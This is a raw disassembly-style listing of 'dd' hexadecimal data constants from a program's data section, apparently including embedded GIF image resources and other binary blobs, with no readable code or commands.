		dd 0D053F8BEh, 4AEBBE4h, 0EFEBEDA6h, 2E50E48Eh,	0EFFDB4CFh
		dd 60F03DADh, 8F9DE5AEh, 0F03F9AE5h, 8F06F05h, 0DF11D0CFh
		dd 0E6502CD1h, 0BAD18E6Bh, 0CF0BD19Dh, 0DCAF14D1h, 27FB3F19h
		dd 0ED26DD1Dh, 0FB7FB801h, 0BCFBBFB8h, 0FF22FBCFh, 0E7AFC0FBh
		dd 201C016h, 7FC604E1h
		dd 0FC8FC8F2h, 50E8495Bh, 0FE2DF429h, 0FC6CE88Fh, 0FD3FD2F2h
		dd 2FFD5FD4h, 0CD42C32Fh, 0C699CA07h, 9C075C7Fh, 0AEA48BFEh
		dd 0DFFEA78Bh, 0A706BEA4h, 706EEA6Eh, 0E03EA5FEh, 0ACF53C90h
		dd 6F56D58Eh, 0E18E14B2h, 5BF5DEB0h, 4E18EB8Fh,	0CFF04AEFh
		dd 65DA8F62h, 100F92Fh,	29942045h, 0B94E0D05h, 41E15092h
		dd 2A110D86h, 0C26184Ch, 0C9153218h, 1198C1A8h,	1C8E1B63h
		dd 43947CE5h, 401E0E87h, 0F200F280h, 4AD0D293h,	0BE5C8C43h
		dd 0A588C984h, 0F27E4221h, 478934DCh, 809C4EE7h, 2911E276h
		dd 32464DA7h, 444A2C61h, 0D2CBA61Ah, 30A70EA5h,	0B05DA85h
		dd 95038696h, 0E482455Ch, 5DAE56EAh, 3ACD66BBh,	20D8AC44h
		dd 0F59ACD65h, 5AED5691h, 0BEDC391Fh, 0ED839B85h, 6D6EB5DCh
		dd 351A8D8h, 2C15DEC6h,	1C05FC56h, 16607058h, 1E16FB7Eh
		dd 971589Ch, 3C418CC6h,	32591C86h, 2D950F64h, 399CC65Fh
		dd 9DCE0733h, 0F6FE7F3Dh, 68F441ACh, 9F4DA5D2h,	0B5414D16h
		dd 0FEFF0B06h, 0DB1D8139h, 0B5DA1549h, 92CED36Dh, 32EE7705h
		dd 1ACCBBDh, 70CDDC0Eh,	1CEBC3E2h, 0CF9C9E47h, 9DCDE672h
		dd 0BD0E873Fh, 0D5EA74E4h, 0AE3CF8F9h, 911A4E93h, 1A7BBDCh
		dd 78FC5E1Fh, 87CDE5F2h, 0FD5E9307h, 21EAF67Ah,	45081C1Eh
		dd 42956CAh, 98841A09h,	877EBF5Fh, 5D66B7F1h, 8625C022h
		dd 0B040AB00h, 3EEF8AB6h, 0CA73DEFCh, 50BA84A1h, 2E8B2908h
		dd 8EA328D2h, 24034238h, 0E9B8F091h, 98FC94A6h,	67112629h
		dd 0EA6C3CAh, 453140E1h, 3158F238h, 0A4523C0Fh,	86340D03h
		dd 0A3A8A8C2h, 2A0A5292h, 6A62A2A7h, 0B218AA0Ah, 0BCAD2B0Ah
		dd 0B02BF222h, 0AE8B3AC6h, 0B262E2B4h, 6C952649h, 6ABBADEBh
		dd 182F6190h, 31AC5AFAh, 4C33012Dh, 0D3132F31h,	0C6C9B1D2h
		dd 33334C8Ch, 32CB4CFh,	0B364D735h, 8351364Dh, 54D34E33h
		dd 364DFE73h, 0AD8CEF3Bh, 0D376DD0Ah, 7A2CB733h, 0E28D6E0Bh
		dd 50AE4B8Ah, 34450F43h, 7BA2E551h, 0E23A8E2Eh,	373C9470h
		dd 8D6F03CEh, 232B7CF0h, 3D28DE8Dh, 14F58CAFh, 0F6212F4Ah
		dd 0A483418h, 4ABD4D53h, 0AA06ABC0h, 0AEFDA18Fh, 81481068h
		dd 0C03012BEh, 0D0240621h, 82BAACC0h, 0A6818942h, 4D63050h
		dd 0C22A7205h, 0A8B42689h, 0A3C8DC2h, 4D0E2469h, 99A549B2h
		dd 5A697256h, 0F13C3E43h, 0A5B69145h, 45144543h, 8AC69192h
		dd 21430C70h, 683D6108h, 2D63752Ah, 0FF04AA68h,	22C0B5D3h
		dd 49324575h, 0F2949D28h, 62DD7C2Eh, 64BBAE2Bh,	1705C190h
		dd 0CC2C04B2h, 52F84A15h, 0CBEBE30h, 0D0C904B3h, 0CACD9344h
		dd 6298A4DCh, 2D535139h, 0E6378D63h, 0EB8DE3B8h, 3BE433C4h
		dd 64B3F36Bh, 741502DFh, 6514E350h, 0F9765B9h, 0F00EA34Dh
		dd 0E68F1D26h, 2DF502F1h, 68BC2F3Dh, 394DBD2Fh,	0C19D5FEh
		dd 0F530AE2Fh, 1A159D8Ah, 0A753215Ah, 29559530h, 0AC025D6Ah
		dd 8F8BE900h, 9BED06DDh, 6245E15h, 0B1ACF5ACh, 0C895D6BEh
		dd 7B26C761h, 0E8AF05D8h, 348AD919h, 0E437662h,	5AD12C3Bh
		dd 0F12A536Bh, 923F7044h, 0D1190E51h, 0A16F3700h, 55F50C6Ah
		dd 7C26CAF8h, 0FC8F2158h, 0B78AC5Ah, 25DEDC4Ch,	72219ADDh
		dd 4BB867C9h, 0C72FCB05h, 2DCD733Ch, 0CB727C9Fh, 0E041A069h
		dd 0BD261AC1h, 0FE13D274h, 2F87E1ABh, 8B75B8ABh, 2AD362Fh
		dd 0BDA63D38h, 7635DB76h, 45DD08CDh, 288A33BEh,	64A2889Ch
		dd 0A2F0B3E1h, 137FE28Ch, 5B95E54Eh, 0F0D13476h, 520F3D0Ch
		dd 0D9B3CD4Eh, 0E6859EBCh, 47ED7AF9h, 7621283Dh, 0C02255DFh
		dd 755C87C5h, 0D70BC1ECh, 0CE21F11Ah, 0B02CDF62h, 70AAF5E5h
		dd 287EABF9h, 53D689A2h, 0F70C42BBh, 0EEDE386h,	4CDB9441h
		dd 1622643Eh, 780CDEDh,	0FE1A2044h, 5791346Ah, 0F3580BA1h
		dd 0C2E1DF9Bh, 31F1B892h, 51686BEEh, 773A5C4Bh,	0CE6DCA97h
		dd 4BB82A83h, 0B9873AE7h, 74709414h, 0EA1D33A6h, 102614B2h
		dd 2F75C99Ch, 6405535Ch, 0A80AC338h, 0C4378689h, 0B76F0E21h
		dd 0E9D21E43h, 8210421Fh, 46884EEh, 88910CD8h, 0EF9DF276h
		dd 93BC3786h, 4F794705h, 5513DEA4h, 4E2A3D36h, 0DB3B3DAFh
		dd 0E7AF165Eh, 0C149A63Dh, 0ABA416Ah, 4409011h,	86E2632h
		dd 0F95F8462h, 0AF2456C6h, 3C2C4818h, 740E8B30h, 0D63A03C0h
		dd 7BEE8ED1h, 0B8D8AEDFh, 0EAFE3647h, 48B3DA6Ch, 91B0B67Ah
		dd 6E08C9BCh, 0E00225h,	6C220257h, 854504DDh, 12B8519Ch
		dd 6C2DB7B8h, 0E0600C81h, 0C3FC53A2h, 72715F47h, 9F616482h
		dd 3EB94519h, 83E5C1C7h, 2A6544A7h, 1330272Dh, 644C4C16h
		dd 0EE9D31Ah, 5257B0C6h, 0CC2F03C6h, 0B0220561h, 52EE5E4Bh
		dd 65FCBD86h, 0A0FE232Fh, 4C765D9Ah, 61EC3298h,	1AE87732h
		dd 88133620h, 34268446h, 25C49363h, 2879112Eh, 0B514994Bh
		dd 54E24DB9h, 0D1C06691h, 0B3D6A614h, 73922C33h, 6742A767h
		dd 0AAF0A53Ah, 698D29C0h, 148AB9F2h, 544EA77Ch,	598D0129h
		dd 0E53E6321h, 96394FB8h, 0ACF72C71h, 90914060h, 81063838h
		dd 0A843A08Eh, 47606908h, 946FB63Ah, 58633415h,	60C6A6C2h
		dd 0E9220F75h, 3A45D639h, 0B43437A2h, 40343C8h,	0E0E61E69h
		dd 41B603C8h, 88CC8381h, 0C9642A8Ch, 5D12602Dh,	5724DABDh
		dd 78C7982Ch, 4194928Dh, 0FB4E5280h, 0A81CB905h, 53F84B2h
		dd 0F053506Ah, 40AE9F97h, 5CB829A8h, 0CB530350h, 62006616h
		dd 78C7999h, 0D64B0960h, 0C28730C5h, 95566AC4h,	418F55B9h
		dd 0F1AA0200h, 3AC5586Ah, 2C72B1D6h, 81C43EACh,	0D6B07010h
		dd 0ADD346B5h, 118223BAh, 253C0892h, 98789356h,	0AE1AD402h
		dd 0BE4DFE89h, 0E0AFD5F6h, 0D4A5A2ACh, 622C4E63h, 0F34768EFh
		dd 89E84162h, 0D26506CEh, 252BD20h, 4649F258h, 9FF1BA3Dh
		dd 1C81E044h, 85D08A0Fh, 3C2CA0EAh, 2D050220h, 9A0BD36Bh
		dd 0A391A185h, 0A7400A81h, 91D21139h, 0ED24A12Dh, 207B6305h
		dd 21AD9904h, 4B0302A0h, 19526907h, 7343A8A5h, 47706E00h
		dd 1838227Ah, 45C792B0h, 0CB91726Eh, 0CD65EF04h, 6D2BEA48h
		dd 9659456Ch, 496BECBAh, 0DA535D5h, 14D4783Ch, 0DFBBC090h
		dd 0C1786F05h, 0AEEE182Bh, 0D82BBBE0h, 3306380h, 6C418A43h
		dd 61B55532h, 5598672Eh, 29562FAh, 3AADCC3h, 0B080EBF4h
		dd 0FCBFD7EEh, 1A042B25h, 0EAF6030h, 4607C0D8h,	0C0F8270h
		dd 15B0D701h, 0C2004007h, 613C2183h, 8878430Ah,	1267CD93h
		dd 93576C35h, 1FC3D5E1h, 31164DEEh, 4F44555h, 29FB546Dh
		dd 0C8C07D55h, 726E0815h, 0E09D9482h, 5052C74Ch, 96723BFEh
		dd 0E86033B3h, 0AF56BD67h, 2D2FB5F6h, 2AA11C75h, 0B803372Fh
		dd 3DB5E0CCh, 41923246h, 0FA349639h, 620B6CAAh,	6B8F6E42h
		dd 54891440h, 516657B8h, 5CBB8D71h, 0B9597426h,	9772E85Bh
		dd 0C5D9020Bh, 67C93199h, 0ECE3F1F6h, 0ED7D2FA2h, 4C1CCD6Bh
		dd 3BC54FEAh, 0C06EEFE7h, 0B3C677CEh, 0E74CE99Dh, 3063F3Ch
		dd 0A040C196h, 0F64B94DBh, 0F2BE30BAh, 1404C0ADh, 2F4668BDh
		dd 868FBFFAh, 1BF5A474h, 558B4A60h, 74C697C1h, 9AEC11A6h
		dd 0D3D83817h, 0C418D6Bh, 39610C2Ah, 0A7C31842h, 4B5D70D6h
		dd 0B7565846h, 0C6AED5DAh, 0A7B360DEh, 55485C5h, 0CF99026Bh
		dd 5027C47Ch, 826BCEDAh, 9A239041h, 0B483C8E3h,	36066E80h
		dd 50E7F646h, 50B5DAEBh, 8A4CA757h, 1BB8E6DCh, 0D0720F54h
		dd 928A4F06h, 2F8DB25Ch, 7151E0BAh, 1415E38Bh, 26053098h
		dd 5309852Ch, 8595E03Eh
		dd 0FEE3C07Bh, 0EFDDD986h, 0C5BB8A66h, 8681D91Dh, 766A71D2h
		dd 649B7612h, 0DBF5806Dh, 0D806FFDFh, 2DDFEBFh,	0BBD9D782h
		dd 0C2784679h, 85018E13h, 81CEDC37h, 0D8060CAEh, 4E1A6884h
		dd 0BF17E280h, 0F027A361h, 0FC778E00h, 78F5FF01h, 80EE39C8h
		dd 0E4C0274Bh, 2794727h, 93729C0Ch, 2FE5DA6Bh, 5C037987h
		dd 0BC108143h, 0FF36E6C0h, 0BD435B34h, 9CF01A73h, 353CFB06h
		dd 0C49D53AAh, 0E8DD16C5h, 7E606F45h, 0DAE2A20Eh, 0B840A912h
		dd 23B0825Ah, 0F4B22F4Ah, 7E44DB20h, 9833D58Bh,	6E5ED403h
		dd 0C4CABB5h, 0B9773F52h, 7265BF6Bh, 0DA7B46D6h, 3883206Dh
		dd 9CEB097h, 9506EFFh, 0AB80704Eh, 9702EEDDh, 0D2E1DA81h
		dd 768AD86Ch, 42C04C57h, 0E5EF0397h, 0F0C18F29h, 0E1C39F87h
		dd 4AA320C7h, 8FF1DBBEh, 9C58777Fh, 0E337EFADh,	0E777EF3Dh
		dd 3EF1E5E0h, 0DE7413F7h, 7B9827F3h, 0F9FF45E8h, 0A0FE6C13h
		dd 0F3B7A5F4h, 70CD0208h, 0F5DEAF3Ch, 0EC7D87AFh, 0F7ABF65h
		dd 32D0FA08h, 45A2B8D4h, 37DCF21Eh, 0DE8CE33Ah,	3019C7BDh
		dd 9F13E27Ch, 7E47C7E5h, 0F31E4FF2h, 0F9C02B03h, 0F47E87CFh
		dd 0EA7D3FA5h, 0AE009F3Bh, 0B4084011h, 0DB9BFDAFh, 7DFE77Ch
		dd 1741A87Fh, 33F31B03h, 9A8618E8h, 7EA54E80h, 0FDDFA674h
		dd 0D37A384Bh, 0A8AA8412h, 256ED6Dh, 0A3FDFFBAh, 0A7FE03DEh
		dd 0CFFFFF85h, 0C013FF8Bh, 6797E01Eh, 10BC81CBh, 0B7F18118h
		dd 2A4060BCh, 18BD92A9h, 1870C12Ah, 0F312D8C7h,	829FAEF2h
		dd 0B7F38001h, 0D137EBB9h, 5812382Bh, 3D5A5B38h, 0D23850C8h
		dd 23D24133h, 414413B8h, 6B37EC0Fh, 0FAD7B6E3h,	82482181h
		dd 2DBC8419h, 1C1BBC50h, 0BC73C683h, 1FC1981Fh,	9C1F41F0h
		dd 24C20C1h, 28C20C20h,	0B81BCB1h, 414C13BDh, 1540F3D0h
		dd 8011BCF4h, 0C29428C2h, 29BCE811h, 0EC2FEB4h,	880EC2C0h
		dd 0C2E0093Dh, 0AC2F42Eh, 0A430C2F0h, 0C3000921h, 2E433430h
		dd 4C322194h, 0BDDBDD43h, 37C373E2h, 8807BE1Ch,	3E0BE0C3h
		dd 96438438h, 0D43C8043h, 804C3DC3h, 3FC3F3EAh,	1440803Ch
		dd 0C42441C4h, 43C43442h, 54414444h, 8D700000h,	0A00287Fh
		dd 33ED80B0h, 0C4A44981h, 15C4AC4Ah, 4815C4A0h,	36401740h
		dd 0F7BFE364h, 1450C503h, 0B5E3F4C5h, 253C9B5Fh, 612997F1h
		dd 406B8040h, 0B597C3B4h, 63CF425Bh, 0BD1BCF01h, 0CE8BFBCEh
		dd 180D812Bh, 2A880D81h, 5D8102A8h, 142733B4h, 428C2746h
		dd 0D742C00Ch, 0BC2E433Bh, 42CB4080h, 61C28C2Bh, 0E4614684h
		dd 3B4C0D40h, 1C81D8B7h, 0FC1FC220h, 41C3C701h,	77826BC5h
		dd 0C2046D3h, 0C1F471C7h, 1D81F81Dh, 8C0F3810h,	462468C5h
		dd 11C27C2Ah, 0B80EC2C8h, 0C7A47980h, 7BC78C79h, 0D47AC78Ch
		dd 0C65479C7h, 0DCC2E464h, 5805BFEh, 9481C7F0h,	390B4680h
		dd 84C8443Bh, 6485C854h, 0C8743D80h, 343CC87h, 0A489C890h
		dd 0C8B48AC8h, 4480348Bh, 0E00248D4h, 0C8F48EC8h, 90C9048Fh
		dd 0C40C8FCh, 0BEC44680h, 0A2AF803h, 0F8CE8D00h, 8CF00F80h
		dd 0C6498496h, 10C0C498h, 9D040618h, 9CC01C06h,	6C9CC9D4h
		dd 0C0649EC0h, 0BA401C9Dh, 0C403BFE0h, 12A49F0Bh, 1812B12Ah
		dd 64A58C28h, 0CA74A6CAh, 0D0CA5C59h, 2813CA63h, 0CAB0110Ch
		dd 11CAC4ABh, 0C4284AB0h, 0CCABCAh, 0AF38BCABh,	0C4AB00BCh
		dd 0C7CCB2C7h, 11479C7Ch, 0F80BCB48h, 0C7A3DCBDh, 0B8C7D80Ah
		dd 0B47947ACh, 4BAC2C47h, 0B34B9CBBh, 7013C284h, 816C6847h
		dd 1DCBF81Dh, 34C1CC10h, 826C6D47h, 0C4CC44C3h,	1C6D4C44h
		dd 0CC2472CCh, 0C1473CC6h, 0F81DCC74h, 466C283Ch, 0CCCB947Ch
		dd 0E4CDCCD4h, 0C7D4CECCh, 0D0CD0480h, 1486005Ch, 0CD14D2CDh
		dd 60C88484h, 0D5CD54D4h, 0C4874D64h, 2C89C8h, 0D9802C89h
		dd 0B4DACDA4h, 0CDB4DBCDh, 1CDD001h, 0F4DDCD98h, 0CE04DFCDh
		dd 0E1CE14E0h, 64DF4E24h, 0CE449344h, 0E5CE54E4h, 74E6CE64h
		dd 0CE84E7CEh, 0E9CE94E8h, 0B4EACEA4h, 0CEC4EBCEh, 0EDCED4ECh
		dd 0F4EECEE4h, 0CF04EFCEh, 0F1CF14F0h, 34F2CF24h, 80CF3CFh
		dd 3B00h, 0
		dd 38464947h, 0B46139h,	0FBE70019h, 20212200h, 38583A1Fh
		dd 3D163537h, 5C3C1C63h, 1C613D19h, 3E1F603Eh, 5F402360h
		dd 2162411Fh, 421E6241h, 5D422865h, 1D3E3F41h, 48226B46h
		dd 6D48236Eh, 1F684928h, 4646754Bh, 6F4D2546h, 21674B30h
		dd 4F267B4Fh, 764F2774h, 27745128h, 542A7952h, 7B542B7Bh
		dd 2C835625h, 59267F58h, 7A5A2E87h, 58865C2Eh, 5A435556h
		dd 855E3071h, 336E5A47h, 5F32805Fh, 87603184h, 5A8C6130h
		dd 6437595Ah, 5B5D5F88h, 388F6636h, 61628A66h, 62626260h
		dd 3B906A3Ah, 664E8E6Ah, 946B3A80h, 3B8F6D40h, 6953966Eh
		dd 91704181h, 47936E48h, 6A6C8E71h, 97734268h, 46856F58h
		dd 75479473h, 9A764397h, 4283705Fh, 7849A176h, 71727497h
		dd 4B9C7B49h, 795E9B7Ch, 9A7A5994h, 48777777h, 7778A980h
		dd 85796D76h, 79A8804Bh, 7E6A7879h, 91807094h, 5FA48565h
		dd 8282A289h, 97877083h, 85878583h, 90598585h, 0B59159B4h
		dd 5D8A8887h, 8D73B592h, 948C84A6h, 8C8D8C8Bh, 908F8E8Dh
		dd 0AC977191h, 95959494h, 9F669595h, 0A19990C1h, 92C1A16Ch
		dd 9B92A199h, 0C2A36DA4h, 95AD9C8Ch, 9D8DA29Bh,	9D9B99A8h
		dd 719B9B9Bh, 0A281C3A5h, 9F9F9FB4h, 8EA2A2A2h,	0B075BBAAh
		dd 0CDAF7ECCh, 80CEB37Dh, 0ABABCFB4h, 0C2AF96ABh, 83BBAE9Eh
		dd 0ACACD0B4h, 0C1B19AACh, 9EB2B0AFh, 0B5ABCAB7h, 0D6BB8EBBh
		dd 0A8D9C185h, 0BC9DC7B9h, 0B6B7B8D1h, 0A3D9BF92h, 0B8B9CFBCh
		dd 0D4BE9BB7h, 0ACD9C191h, 0C28FC8BBh, 0DAC38DD9h, 9CBABABAh
		dd 0BBBBD8C1h, 0DAC29CBBh, 0BDDBC39Ah, 0C1A7BCBCh, 0DBC39ED2h
		dd 9CCFC1AEh, 0C0C2DDC6h, 0DEC99CBEh, 0C2C1C1C1h, 0C3B8C1C1h
		dd 0DFCA9BCEh, 9BE1CE93h, 0C4C4E1CDh, 0C5C5C5C4h, 0C6E1CF9Ah
		dd 0C6C9C6C6h, 0E4CDA9C4h, 0AADBCCB1h, 0CBC6E5CFh, 0E6D1AACEh
		dd 0AAD2CCC4h, 0CCCCE8D3h, 0D3CEC6CCh, 0AACDCDCDh, 0CFC6E9D5h
		dd 0D3CFC7D4h, 0CCD4D0C6h, 0D1C7CFCFh, 0D5D2C7D5h, 0D2D0D0D0h
		dd 0D9ABCED0h, 0D6D3C7EAh, 0BBD1D1D1h, 0D2D2E4D7h, 0EDDDABD2h
		dd 0D2D8D6CAh, 0D5D5D5D4h, 0EEE0ACD5h, 0A9D6D6D6h, 0D8D7EFE2h
		dd 0DADADAD9h, 0C3D8DADCh, 0DBDBEBE0h, 0D9DBDCDBh, 0DDDCDCDCh
		dd 0DDDDDCDDh, 0DCDDDFDDh, 0DFDEDEDEh, 0DFE0DEDFh, 0F0E7CADFh
		dd 0E5E0E2E3h, 0E3E3DFE2h, 0E4E4E4E3h, 0E8F1E7D9h, 0E6E6E3E5h
		dd 0F5E9D8E6h, 0E9E8E8E8h, 0EAEAE9E9h, 0EEEBE8EAh, 0EBF4EDE1h
		dd 0ECEDEBEBh, 0E9ECEFECh, 0EEEDEDEDh, 0EFEFEEEEh, 0EDEFF1EFh
		dd 0F1EEF0F3h, 0F2F2F1F1h, 0F8F3EDF2h, 0F4F3F3F3h, 0F4F5F4F4h
		dd 0F5F5F5F4h, 0F7FFFAE2h, 0F6F6F3F5h, 0FAF7F3F6h, 0F8F7F7F7h
		dd 0F9F9F8F8h, 0FAFAFAF9h, 0FDFBFBFBh, 0FCFCFBFBh, 0FDFDFDFCh
		dd 0FFFEFEFEh, 0FFFFFEFFh, 3 dup(0FFFFFFFFh), 4F921FFh
		dd 0FF000A01h, 2C00h, 0B40000h,	8000019h, 0C9FF00FEh, 0D68B85EAh
		dd 5EAF58ACh, 6A9562C1h, 0C487B118h, 489BFD8Eh,	8BC5A2B1h
		dd 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 184ED8DCh, 5CB75E30h
		dd 8A6542A9h, 307DB614h, 4919EE63h, 983E62F3h, 0DCEA7335h
		dd 0B422F3C9h, 713CA14Eh, 122964C2h, 93316AA5h,	1498E1C6h
		dd 0FB9E3DE6h, 0B90CF5EAh, 0ABD4DF2Fh, 62058D3Ah, 215128B4h
		dd 35BA9040h, 0A987098Dh, 0F6F48A55h, 6F89CBBDh, 0FB8FD61Fh
		dd 1B9DBDF0h, 3A9CD752h, 71D0F476h, 0CDEE2E84h,	5ACC6DA6h
		dd 26F39B6Ch, 7788C3DDh, 0C6831A96h, 0F044194Dh, 17A3CEE2h
		dd 74BA9D8Fh, 1189F4E7h, 3EDE715Ch, 2671356Dh, 0E3DA4D1Eh
		dd 0AE5A2C24h, 8F678A0Ch, 0DE70BBDEh, 4D9369B6h, 0CE179B8Eh
		dd 13EDEB14h, 0E96DDA17h, 0FA2BC0DFh, 90C4D251h, 0CCE775BBh
		dd 0AD469B79h, 9B703539h, 3DC154A2h, 0BFC530D1h, 0FD562967h
		dd 0DFDF3377h, 0FEB4F398h, 513ECCC7h, 0E5DD4E34h, 0AD17A69Dh
		dd 0EFF6FB3Dh, 0F787BF18h, 4C2DB19Dh, 0B69AFFF2h, 7C54F98Fh
		dd 0E115F575h, 0E5254421h, 6CCDE37Ch, 0E0A334D7h, 9208D633h
		dd 50530E42h, 0FF5C9F97h, 3FDE15B4h, 8F13ECE9h,	3C8F576h
		dd 59FF3D13h, 0E57F4FB4h, 61113549h, 4EA3FD31h,	0C3FE1B5Ch
		dd 0E4F43ECEh, 0FB8BA203h, 76A1C3A8h, 969764F8h, 13FE2688h
		dd 64E13EE3h, 0EC452234h, 4D9DB454h, 5D93D515h,	0C8CCF85Bh
		dd 0E513851Dh, 0C73488A1h, 32655954h, 4CE32CCBh, 0F0D87C34h
		dd 504E1201h, 3D7E6477h, 88DF48FAh, 0DED88624h,	33A4FB45h
		dd 9CF76E91h, 178AD143h, 4563089Eh, 24E76A39h, 7B9D57Bh
		dd 60D99DA5h, 63461844h, 3FE41532h, 0DE59D5BAh,	823CFFA1h
		dd 42902ECCh, 0C72FCB9Ah, 1C8CA330h, 0C1D0D040h, 95302C16h
		dd 0AA363E54h, 0E937A469h, 7E5F49B1h, 4F945AA4h, 0B676897Fh
		dd 0B9FEA04Fh, 3DCFFA9Dh, 1F89EE67h, 6AA5DAADh,	7D83AC24h
		dd 4CA32846h, 0ABE88915h, 8FFB0A22h, 0A2B4C118h, 0D4ABB2ACh
		dd 6F2F8C52h, 0B43C114h, 51D1A416h, 97E246A1h, 0E6D8B09Fh
		dd 0BD759F47h, 0AC6C49BEh, 1157A116h, 0E9EDE5AEh, 82E844E4h
		dd 8468246Bh, 0A8AC63EEh, 9306E9F5h, 691AE6B0h,	88B90C2Ch
		dd 0A0BFAFE2h, 180A72D8h, 4310FC46h, 71981C08h,	8DEBB6ADh
		dd 0A59A6DC5h, 6F9D7BD2h, 0AE5B8AF9h, 0A7E6E8ACh, 0CAED45AEh
		dd 18BC1E5Ah, 0C4D51879h, 4EF4C11Ah, 5C5A35A8h,	7C8D456Ch
		dd 9ACBC992h, 1487F28Ch, 320F843h, 411C120Ah, 3242C2C4h
		dd 24A9A7ACh, 0ACB144DBh, 71CB0F15h, 0EB9F3FADh, 72EFC65Bh
		dd 4C688E74h, 0BCAB291Bh, 515BEB2Ah, 0F23CA212h, 0AC972488h
		dd 350E03A1h, 68240B8h,	51E19C0Fh, 0B88B12B7h, 0B31FC46Eh
		dd 70D16149h, 0BA748C63h, 31EBB347h, 0A46F20ADh, 6EDBFE56h
		dd 0DFB46CAFh, 8D1DD14h, 1508721h, 9C2B0982h, 30601E0h
		dd 0D9C3B13Ch, 4E37E73Eh, 5B7B6BC9h, 0A66CAAD1h, 75C5F71Ah
		dd 4539EDD3h, 3529DF19h, 539B7AAFh, 0A5E5C41Dh,	1EBE1379h
		dd 4D15D53h, 83D1F48Dh,	0B0641403h, 141005C1h, 7017C330h
		dd 0BCDBAE45h, 67CE55EEh, 5918F27Eh, 0FFC8D57Ch, 1ADCFA0Dh
		dd 678FFE77h, 1377E7C7h, 7E5DDAE9h, 2FD13EEAh, 29B7B93Fh
		dd 0BCDDAF2Bh, 4640BD13h, 60100A04h, 1C0902C0h,	201B0370h
		dd 7F278DA1h, 0F1EF0A46h, 4927F03Bh, 8BCEFDF4h,	47D2BCDEh
		dd 0F51E55C7h, 0A2898313h, 3F4226h, 0F98048D1h,	0B6D15509h
		dd 70151185h, 80C0461h,	2A0200h, 20003085h, 8C441838h
		dd 919832C7h, 9816406h,	1A820825h, 12C1C096h, 266A2562h
		dd 0BA0888CCh, 0A4010560h, 0D13B85F0h, 48670C1Fh, 0CAC89CC3h
		dd 0A1CC353Bh, 1DF2450Eh, 87F0ED50h, 0A20C400Ah, 44488710h
		dd 4048Fh, 3Bh,	0
		dd 38464947h, 0F96139h,	35A501DBh, 0F0E4D000h, 0D1EBE6CEh
		dd 0E5D4F1E5h, 0ECE7CFEBh, 0D5F2E6D2h, 0E8D3ECE6h, 0F4E7D3E7h
		dd 0D0EDE7D6h, 0E9D4EDE9h, 0F5E8D4E8h, 0D1EFE8D7h, 0EBD2EFEAh
		dd 0F0E9D9F0h, 0D3EAEBD5h, 0EADAF1ECh, 0EBEADDF1h, 0D4EBECD7h
		dd 0EBDBF2EDh, 0ECEBDEF2h, 0D5ECEDD8h, 0ECDCF3EEh, 0EDECDFF3h
		dd 0D7EDEED9h, 0EDE0F4EFh, 0EEEFDAEEh, 0E1F4EEDDh, 0EDE4EFEEh
		dd 0F5EFDEF5h, 0DFF7EEE5h, 0F0E2F6F0h, 0F8F1E0F0h, 0E1F1F1E3h
		dd 0F0E8F9F2h, 0F3F2E5F9h, 0E6FAF3E3h, 0F4E4F4F3h, 0F5F2EDFBh
		dd 0EEF5F4E7h, 0F5E8F6F3h, 0F7F6E9F6h, 8 dup(0FFFFFFFFh)
		dd 4F921FFh, 3F000A01h,	2C00h, 0F90000h, 60001DBh, 7089C0FEh
		dd 2F0A2C48h, 8972A4C8h, 0CC3738DCh, 552A1268h,	2317271Eh
		dd 7AEDA916h, 788844BFh, 0CB848622h, 4CD0F4E8h,	70DFBB06h
		dd 4F4E7578h, 6DD9B9CAh, 0C7A7CF7Dh, 46636CC1h,	86856982h
		dd 656D8587h, 6C63666Bh, 92917F6Dh, 79945C44h, 78577B97h
		dd 4F54557Dh, 9CA1A09Fh, 0A6935875h, 908D8180h,	43ADACA7h
		dd 52B1B0A3h, 0B6B5A19Eh, 0B94D4EB7h, 0AE9CA217h, 4BA6C0BFh
		dd 9DC47D7Ah, 0B6C84F4Ah, 214EB8B0h, 0D2D1D0CFh, 0D6D5CDCFh
		dd 98967EBDh, 0A572C1A5h, 0E0C6E076h, 0D7D7E4B2h, 0EAD3B74Bh
		dd 0E621ECEBh, 56E4F0EFh, 0F2C1C456h, 0B4BCC973h, 0B550C9BBh
		dd 519AF0FAh, 0A0AED4FBh, 0A6CE7541h, 3030DB39h, 548043A0h
		dd 223949EEh, 74444991h, 0DC397510h, 0C7A0F0E8h, 3E41208Fh
		dd 1971C771h, 2D155DC4h, 0B2C95C96h, 3090A825h,	844CA63h
		dd 26C3E5CDh, 0B46A5051h, 0FEE7B3C9h, 834099B5h, 0B3E86D0Ah
		dd 1DA3D1A8h, 0CA1CBE49h, 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah
		dd 6AB358ABh, 0ABB5CADDh, 0C360AFD7h, 0B64B1D8Ah, 68B3D9ACh
		dd 0CB5DAAD3h, 0B7DBADB6h, 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh
		dd 0AFB7CBDDh, 380BFDFh, 0B84C1E0Bh, 88C3E1B0h,	0CC5E2B13h
		dd 0C7E3B1B8h, 9E4B2390h, 0E5B2B94Ch, 6B3398CBh, 0B3B9CCDEh
		dd 43A0CFE7h, 0BA4D1E8Bh, 0A8D3E9B4h, 0CD5EAB53h, 0D7EBB5BAh
		dd 9ECB63B0h, 0EDB6BB4Dh, 0EB73B8DBh, 0B7BBCDDEh, 83C0DFEFh
		dd 0BC4E1F0Bh, 0C8E3F1B8h, 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h
		dd 0F5BABD4Eh, 6BB3D8EBh, 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh
		dd 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 9FCBE3F0h, 0FDBEBF4Fh
		dd 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh, 480E028h, 81E06816h
		dd 0E0A82608h, 0E8360C82h, 461083E0h, 1484E128h, 85E16856h
		dd 0E1A86618h, 76FE1C86h, 2087E1E8h, 88E22886h,	0E2689624h
		dd 0A8A62889h, 0B62C8AE2h, 308BE2E8h, 8CE328C6h, 0E368D634h
		dd 0A8E6388Dh, 0F63C8EE3h, 408FE3E8h, 90E42906h, 0E4691644h
		dd 0A9264891h, 364C92E4h, 5093E4E9h, 94E52946h,	0E5695654h
		dd 0A9665895h, 765C96E5h, 6097E5E9h, 98E62986h,	0E6699664h
		dd 0A9A66899h, 0B66C9AE6h, 709BE6E9h, 9CE729C6h, 0E769D674h
		dd 0A9E6789Dh, 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0E86A1684h
